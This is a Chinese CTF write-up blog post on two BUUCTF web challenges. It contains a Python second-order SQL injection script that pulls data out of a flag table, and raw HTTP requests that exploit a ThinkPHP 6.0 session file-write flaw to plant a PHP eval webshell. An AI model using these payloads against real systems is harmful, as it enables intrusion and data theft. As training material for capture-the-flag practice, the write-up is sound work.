因此只可以猜测flag在flag表中,并且里面只有一行内容:
据此写一个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
from random import randint
url1="http://06876111-a393-4b31-a99e-f67d25fb4fa2.node4.buuoj.cn:81/register.php"
url2="http://06876111-a393-4b31-a99e-f67d25fb4fa2.node4.buuoj.cn:81/login.php"
i=0
res=""
while True:
j = randint(1000, 2000)
i+=1
if i==1:
data1 = {
"email": f"{j}" + "@qq.com",
"username": f"'+substr(hex(hex((select * from flag)))from {str(i)} for 10)+'",
"password": "1"
}
else:
data1={
"email":f"{j}"+"@qq.com",
"username":f"'+substr(hex(hex((select * from flag)))from {(i-1)*10+1} for 10)+'",
"password":"1"
}
data2={
"email": f"{j}"+"@qq.com",
"password": "1"
}
r1=requests.post(url=url1,data=data1)
r2=requests.post(url=url2,data=data2)
# print(data1["email"])
# print(r1.text)
str=r2.text
# print(str)
# print(str.find('36'))
# print(str[837:847])
res+=str[837:847]
print(res)
# print(res[-10:-1])

最终也是可以跑出来答案,把结果hex解密2次即可:
image.png

[GYCTF2020]EasyThinking

考点:THinkphp6.0文件写入CVE
image.png
朴实无华的一个web界面,扫描目录发现www.zip备份文件:
image.png
鉴定为TP6.0,查阅有关资料发现存在任意文件操纵漏洞
具体分析请参考我的专题ThinkPHP CVE
这里就直接上我的请求包
注册一个账号,登录时抓包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /home/member/login HTTP/1.1
Host: 405e82e2-7362-4608-aed1-0a07ec2465bb.node4.buuoj.cn:81
Content-Length: 30
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://405e82e2-7362-4608-aed1-0a07ec2465bb.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://405e82e2-7362-4608-aed1-0a07ec2465bb.node4.buuoj.cn:81/home/member/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=bbbbbbbbbbbbbbbbbbbbbbbbbbbb.php
Connection: close

username=Boogipop&password=123

将PHPSESSID改为同样为32位的一个php文件名称,然后登录,在搜索界面抓包改包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /home/member/search HTTP/1.1
Host: 405e82e2-7362-4608-aed1-0a07ec2465bb.node4.buuoj.cn:81
Content-Length: 5
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://405e82e2-7362-4608-aed1-0a07ec2465bb.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://405e82e2-7362-4608-aed1-0a07ec2465bb.node4.buuoj.cn:81/home/member/search
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=bbbbbbbbbbbbbbbbbbbbbbbbbbbb.php
Connection: close

key=<?php eval($_POST[1]);?>

同样改包发送,这里的key就是我们一句话木马的内容:
image.png
访问/runtime/session/sess_bbbbbbbbbbbbbbbbbbbbbbbbbbbb.php
即可getshell,在phpinfo界面发现有disabled_function限制,这里用蚁剑自带的UAF去绕过即可,最后再根目录:
image.png
可以看见flag没有读的权限,但是有个readflag,运行即可获得flag

第三页结束啦!

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#BUUCTF#刷题记录